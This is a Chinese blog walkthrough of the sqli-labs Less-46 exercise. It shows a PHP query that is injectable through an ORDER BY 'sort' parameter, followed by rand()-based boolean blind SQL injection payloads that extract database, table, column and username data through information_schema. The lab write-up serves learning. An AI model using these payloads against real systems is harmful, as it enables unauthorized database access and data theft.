当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 02:27:00 【开心星人】
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
测试是否存在注入点
?sort=1 desc?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
关于下面的这部分与解题无关,直接看布尔盲注的部分即可?sort=right(version(),1)?sort=left(version(),1)
返回结果都是

我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- Static routing + PAT + static NAT (explanation + experiment)
- LeetCode 每日一题 2022/7/25-2022/7/31
- Introduction and use of Drools WorkBench
- 知识蒸馏7:知识蒸馏代码详解
- 【AcWing 第62场周赛】
- 怎样做好一个创业公司CTO?
- FPGA-based vending machine
- 【C语言基础】解决C语言error: expected ‘;‘, ‘,‘ or ‘)‘ before ‘&‘ token
- 19.支持向量机-优化目标和大间距直观理解
- Drools Rule Properties, Advanced Syntax
猜你喜欢

Pythagorean tuple od js

Hanyuan Hi-Tech 8-channel HDMI integrated multi-service high-definition video optical transceiver 8-channel HDMI video + 8-channel two-way audio + 8-channel 485 data + 8-channel E1 + 32-channel teleph

Introduction and use of Drools WorkBench

multiplayer-hlap 包有问题,无法升级的解决方案

系统需求多变如何设计

StringJoiner详解

The real CTO is a technical person who understands products

全流程调度——MySQL与Sqoop

Drools basic introduction, introductory case, basic syntax

Between two orderly array of additive and Topk problem
随机推荐
What does a software test report contain?
Introduction to flask series 】 【 flask - using SQLAlchemy
Static routing + PAT + static NAT (explanation + experiment)
你们程序员为什么不靠自己的项目谋生?而必须为其他人打工?
Inner monologue from a female test engineer...
Manchester City confuses fans with smart scarf that detects emotions
曼城推出可检测情绪的智能围巾,把球迷给整迷惑了
12 pictures take you to fully understand service current limit, circuit breaker, downgrade, and avalanche
How to design the changing system requirements
ShardingJDBC使用总结
uniapp uses 3rd party fonts
【AcWing 62nd Weekly Game】
"Cloud native's master, master and vulgar skills" - 2022 National New College Entrance Examination Volume I Composition
力扣刷题之爬楼梯(7/30)
StringJoiner详解
The real CTO is a technical person who understands products
Drools Rule Properties, Advanced Syntax
经典链表OJ强训题——快慢双指针高效解法
医疗影像领域AI软件开发流程
Fiddler captures packets to simulate weak network environment testing